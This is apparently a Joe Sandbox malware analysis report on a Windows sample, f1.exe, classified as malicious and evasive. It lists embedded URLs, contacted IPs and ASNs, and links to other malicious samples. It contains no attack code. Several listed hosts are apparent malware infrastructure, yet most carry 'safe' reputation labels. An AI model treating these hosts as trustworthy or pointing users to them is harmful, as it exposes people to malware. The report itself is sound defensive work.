https://www.90yundian.com/liebiao/BB428837B05300DF	f1.exe, 00000006.00000002.3754076630.0000000001088000.00000004.00000001.01000000.00000004.sdmp, f1.exe, 00000006.00000002.3758115466.0000000005626000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://sinacloud.net/operate/x-agA#	f1.exe, 00000006.00000002.3758115466.0000000005626000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://588ku.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://time-time-dbvpvdlnog.cn-chengdu.fcapp.run	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://standards.iso.org/iso/19770/-2/2009/schema.xsd	svchost.exe, 00000005.00000002.3740078565.0000023D29A87000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000005.00000002.3742828893.0000023D2A302000.00000004.00000020.00020000.00000000.sdmp, regid.1991-06.com.microsoft_Windows-10-Pro.swidtag.5.dr	false	Avira URL Cloud: safe	unknown
http://www.yunzhijia.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://iwencai.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://www.juming.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://wulancabucs.oss-accelerate.aliyuncs.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jianguoyun.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://qingdaocs.oss-accelerate.aliyuncs.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://www.winshang.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 00000000.00000003.1364255192.000002803A862000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364445430.000002803A85A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365775332.000002803A863000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://yanzheng.appchizi.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://www.qiniu.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ems.com.cn/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcauto.com.cn/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://qm.qq.com/cgi-bin/qm/qr?_wv=1027&k=OS7Jf4g770fs7TMRuzjeWEr4_JnfmoeB&authKey=4FeBZonqCUL5S2PNX	f1.exe, 00000006.00000002.3754076630.0000000001088000.00000004.00000001.01000000.00000004.sdmp, f1.exe, 00000006.00000002.3758115466.0000000005626000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://w7000.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://1066951243755853.cn-huhehaote.fc.aliyuncs.com/2016-08-15/proxy/time.LATEST/time/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://xianggangcs.oss-accelerate.aliyuncs.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://www.kanzhun.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/REST/v1/Locations	svchost.exe, 00000000.00000003.1364511066.000002803A857000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365685446.000002803A858000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ichuanglan.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ih5.cn/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://www.netease.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://www.hichina.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://huadongcs.oss-accelerate.aliyuncs.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
https://dynamic.t	svchost.exe, 00000000.00000003.1364493364.000002803A843000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365775332.000002803A863000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.solidot.org/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/REST/v1/Routes/Transit	svchost.exe, 00000000.00000003.1364511066.000002803A857000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365685446.000002803A858000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.huawei.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://www.youth.cn/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	svchost.exe, 00000000.00000003.1364534284.000002803A831000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365775332.000002803A863000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://119.29.29.29/d?dn=	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://www.yidianzixun.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://www.xunlei.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/REST/v1/Routes/Driving	svchost.exe, 00000000.00000003.1364511066.000002803A857000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365685446.000002803A858000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.imiker.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://shanghaics.oss-accelerate.aliyuncs.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://sinacloud.net/operate/engt	f1.exe, 00000006.00000002.3758164859.00000000056B0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://ca800.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://www.bootcss.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://www.xitongzhijia.net/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ctrip.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://xinics.oss-accelerate.aliyuncs.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://www.7k7k.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jdwx.info/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://www.yiche.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://www.i4.cn/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	svchost.exe, 00000000.00000002.1365260911.000002803A82B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://aq.cqyanzheng.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://cs-g2-crl.thawte.com/ThawteCSG2.crl0	f1.exe, 00000006.00000003.1852977658.0000000008E49000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000002.3758373279.0000000005C11000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000003.1759673725.0000000008E4A000.00000004.00000020.00020000.00000000.sdmp, 6E8EJNeaX.sys.6.dr, CB8C7NLdg.sys.6.dr, F705A27.sys.6.dr	false	Avira URL Cloud: safe	unknown
http://lusongsong.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ipo.hk/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://xiaoman.cn/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://zhangjiakoucs.oss-accelerate.aliyuncs.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://8.218.87.7/	f1.exe, 00000006.00000002.3740200617.0000000000C07000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000002.3754076630.000000000108A000.00000004.00000001.01000000.00000004.sdmp, f1.exe, 00000006.00000002.3740200617.0000000000B8F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://dcloud.net.cn/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://time-time-bzyrqxranf.cn-shenzhen.fcapp.run	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
https://wwzm.lanzouf.com/b012mj4sh	f1.exe, 00000006.00000002.3754076630.0000000001088000.00000004.00000001.01000000.00000004.sdmp, f1.exe, 00000006.00000002.3758115466.0000000005626000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 00000000.00000002.1365260911.000002803A82B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365799626.000002803A868000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364218577.000002803A867000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.chuangkit.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://sinacloud.net/operate/	f1.exe, 00000006.00000002.3758373279.0000000005C11000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000002.3758115466.0000000005626000.00000004.00000020.00020000.00000000.sdmp, f1.exe, 00000006.00000002.3758164859.00000000056B0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.iqiyi.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.ditu.live.com/REST/v1/Transit/Stops/	svchost.exe, 00000000.00000002.1365899471.000002803A876000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364058421.000002803A874000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.west.cn/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://tower.im/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://www.miguvideo.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=	svchost.exe, 00000000.00000003.1364476435.000002803A849000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364534284.000002803A831000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365461275.000002803A844000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365685446.000002803A858000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365289931.000002803A837000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1364493364.000002803A843000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ip138.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?	svchost.exe, 00000000.00000003.1364255192.000002803A862000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000002.1365775332.000002803A863000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.hudong.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://huanancs.oss-accelerate.aliyuncs.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://www.9game.cn/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://182.254.116.116/d?dn=	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=	svchost.exe, 00000000.00000002.1365315357.000002803A841000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://115.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://www.kafan.cn/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://121.40.137.186/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://www.huxiu.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://www.it1352.com/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jisilu.cn/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.ditu.live.com/REST/v1/Routes/	svchost.exe, 00000000.00000003.1364218577.000002803A867000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.guancha.cn/	f1.exe, 00000006.00000002.3754041404.0000000001020000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.192.110.226	so.seos-lb.com	United States	55992	QIHOOBeijingQihuTechnologyCompanyLimitedCN	false
163.171.132.119	jd-abroad.cdn20.com	European Union	54994	QUANTILNETWORKSUS	false
27.221.16.179	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
163.181.42.239	ww1.sinaimg.cn.w.alikunlun.com	United States	24429	TAOBAOZhejiangTaobaoNetworkCoLtdCN	false
103.107.217.26	unknown	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
103.235.46.98	hao123.n.shifen.com	Hong Kong	55967	BAIDUBeijingBaiduNetcomScienceandTechnologyCoLtd	false
103.235.47.188	www.wshifen.com	Hong Kong	55967	BAIDUBeijingBaiduNetcomScienceandTechnologyCoLtd	false
103.235.46.96	unknown	Hong Kong	55967	BAIDUBeijingBaiduNetcomScienceandTechnologyCoLtd	false
43.159.70.125	qt0t6l4k.e0.sched.ovscdns.com	Japan	4249	LILLY-ASUS	false
163.181.201.232	www.douyin.com.queniuyk.com	United States	24429	TAOBAOZhejiangTaobaoNetworkCoLtdCN	false
119.28.109.132	www.sogou.com	China	132203	TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN	false
47.94.225.221	www.jmw.com.cn	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
163.181.199.200	www.1688.com.danuoyi.tbcache.com	United States	24429	TAOBAOZhejiangTaobaoNetworkCoLtdCN	false
111.124.200.101	youdao.com	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
113.219.142.35	opencdnka.jomodns.com	China	63838	CT-HUNAN-HENGYANG-IDCHengyangCN	false
49.51.65.181	unknown	China	132203	TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN	false
43.159.119.252	www.tencent.com.acc.edgeonedy1.com	Japan	4249	LILLY-ASUS	false
138.113.147.185	unknown	United States	776	FR-INRIA-SOPHIAINRIASophia-AntipolisEU	false
163.181.131.216	www.eastmoney.com.w.cdngslb.com	United States	24429	TAOBAOZhejiangTaobaoNetworkCoLtdCN	false
43.159.118.238	unknown	Japan	4249	LILLY-ASUS	false
8.218.30.151	unknown	Singapore	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
43.132.73.61	www.qq.com.eo.dnse2.com	Japan	4249	LILLY-ASUS	false
138.113.115.36	www.cctv.com.wsglb0.com	United States	776	FR-INRIA-SOPHIAINRIASophia-AntipolisEU	false
101.33.26.139	dc3ee476.ovslegodl-dk.sched.ovscdns.com	China	132203	TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN	false
27.221.16.149	sinacloud.net	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
43.132.80.77	unknown	Japan	4249	LILLY-ASUS	false
61.163.51.35	opencdnqczjv6.jomodns.com	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
8.218.87.7	unknown	Singapore	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
163.181.130.194	unknown	United States	24429	TAOBAOZhejiangTaobaoNetworkCoLtdCN	false
47.242.126.205	unknown	United States	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
47.254.187.186	eu-central-1-ds-2088.oss-acc.aliyuncs.com	United States	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
163.181.199.199	unknown	United States	24429	TAOBAOZhejiangTaobaoNetworkCoLtdCN	false
45.194.34.250	g8450a5.usallient81.jiasula.vip	Seychelles	328608	Africa-on-Cloud-ASZA	false
8.212.11.147	unknown	Singapore	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
49.51.130.237	sh2.general.proxy.sogou.com	China	132203	TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN	false
103.102.202.125	multi-az-www-api.kuaishou.com	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
218.68.136.35	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
120.26.110.170	foodmate.net	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
163.181.131.210	unknown	United States	24429	TAOBAOZhejiangTaobaoNetworkCoLtdCN	false
43.159.71.118	unknown	Japan	4249	LILLY-ASUS	false
43.152.29.38	bxjbqj09.e0.sched.ovscdns.com	Japan	4249	LILLY-ASUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1487475
Start date and time:	2024-08-04 10:56:14 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	f1.exe
Detection:	MAL
Classification:	mal100.evad.winEXE@19/11@113/41
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for sample files taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, MoUsoCoreWorker.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 20.101.57.9, 96.17.180.42, 96.17.180.50, 104.126.37.155, 104.126.37.186
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, twc.trafficmanager.net, www.iqiyiweb.akadns.net, ctldl.windowsupdate.com, iqiyi.com.edgekey.net, e99042.a.akamaiedge.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
06:46:55	API Interceptor	9374755x Sleep call for process: f1.exe modified
06:47:18	API Interceptor	1x Sleep call for process: MpCmdRun.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.192.110.226	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	www.so.com/
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	www.so.com/
	d48c236503a4d2e54e23d9ebc9aa48e86300fd24955c871a7b8792656c47fb6a.exe	Get hash	malicious	Bdaejec	Browse	www.so.com/
	SecuriteInfo.com.Win32.Trojan.Kryptik.HK@susp.11565.26013.exe	Get hash	malicious	Unknown	Browse	www.so.com/s?ie=utf-8&src=360se7_addr&q=%E5%BC%A0%E6%AF%85%E6%96%90
163.171.132.119	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	www.jd.com/
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	www.jd.com/
	d48c236503a4d2e54e23d9ebc9aa48e86300fd24955c871a7b8792656c47fb6a.exe	Get hash	malicious	Bdaejec	Browse	www.jd.com/
	test.apk	Get hash	malicious	Unknown	Browse	www.estrongs.com/console/service/app_folder?v=175545&t=1
	test.apk	Get hash	malicious	Unknown	Browse	www.estrongs.com/console/service/app_folder?v=175545&t=1
27.221.16.179	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	sinacloud.net/operate/24647
27.221.16.179	d48c236503a4d2e54e23d9ebc9aa48e86300fd24955c871a7b8792656c47fb6a.exe	Get hash	malicious	Bdaejec	Browse	sinacloud.net/operate/24647
103.107.217.26	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	www.kuaishou.com/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
so.seos-lb.com	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	104.192.110.226
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	104.192.110.226
	d48c236503a4d2e54e23d9ebc9aa48e86300fd24955c871a7b8792656c47fb6a.exe	Get hash	malicious	Bdaejec	Browse	104.192.110.226
	SecuriteInfo.com.Win32.Trojan.Kryptik.HK@susp.11565.26013.exe	Get hash	malicious	Unknown	Browse	104.192.110.226
	https://www.so.com/link?m=bHHIH9gHiWMt7CT52Mk%2FHVbpA4Q7HLpfa%2Fe58lRjM9C9UVI%2BR7UmsSaIs1wIDRUJSJpxHEWC1%2BYp0sKM%2Fqs2t2rWnaBABhH9Okw2hj0SG5Er8qYCL76sO1Txz1%2BBPXh5CUJd9No6kEqqeY436	Get hash	malicious	Unknown	Browse	104.192.110.226
www.jmw.com.cn	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	47.94.225.221
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	47.94.225.221
	d48c236503a4d2e54e23d9ebc9aa48e86300fd24955c871a7b8792656c47fb6a.exe	Get hash	malicious	Bdaejec	Browse	47.94.225.221
qt0t6l4k.e0.sched.ovscdns.com	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	43.175.65.95
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	43.175.65.95
	d48c236503a4d2e54e23d9ebc9aa48e86300fd24955c871a7b8792656c47fb6a.exe	Get hash	malicious	Bdaejec	Browse	43.175.65.95
multi-az-www-api.kuaishou.com	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	103.107.217.26
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	103.102.202.144
	d48c236503a4d2e54e23d9ebc9aa48e86300fd24955c871a7b8792656c47fb6a.exe	Get hash	malicious	Bdaejec	Browse	103.102.202.144
g8450a5.usallient81.jiasula.vip	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	45.194.34.241
www.douyin.com.queniuyk.com	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	163.181.92.243
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	163.181.92.240
	d48c236503a4d2e54e23d9ebc9aa48e86300fd24955c871a7b8792656c47fb6a.exe	Get hash	malicious	Bdaejec	Browse	163.181.92.246
	file.exe	Get hash	malicious	Unknown	Browse	163.181.92.229
youdao.com	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	111.124.200.101
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	111.124.200.101
	d48c236503a4d2e54e23d9ebc9aa48e86300fd24955c871a7b8792656c47fb6a.exe	Get hash	malicious	Bdaejec	Browse	111.124.200.101
eu-central-1-ds-2088.oss-acc.aliyuncs.com	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	47.254.187.186

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
QUANTILNETWORKSUS	sora.sh4.elf	Get hash	malicious	Mirai	Browse	220.242.169.9
	GycOGRBrXW.elf	Get hash	malicious	Mirai	Browse	116.254.189.186
	mirai.arm.elf	Get hash	malicious	Mirai	Browse	116.254.159.14
	http://2323.pages.dev/	Get hash	malicious	Unknown	Browse	138.113.35.27
	https://www.allegroh.cc/	Get hash	malicious	Unknown	Browse	163.171.128.148
	SecuriteInfo.com.Win32.Application.Playtech.A.4150.17083.exe	Get hash	malicious	Unknown	Browse	163.171.131.248
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	163.171.132.119
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	163.171.132.119
	http://worker-royal-cake-d668.20030725gg.workers.dev/	Get hash	malicious	Unknown	Browse	138.113.35.27
	http://stone003.stone168.cloudns.org/	Get hash	malicious	Unknown	Browse	138.113.35.27
CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	Tomcat.bin.exe	Get hash	malicious	Unknown	Browse	60.221.231.169
	b4cbf3ffbd8e152116e72487c3b16f1d.exe	Get hash	malicious	Unknown	Browse	60.221.231.169
	Tomcat.bin.exe	Get hash	malicious	Unknown	Browse	60.221.231.169
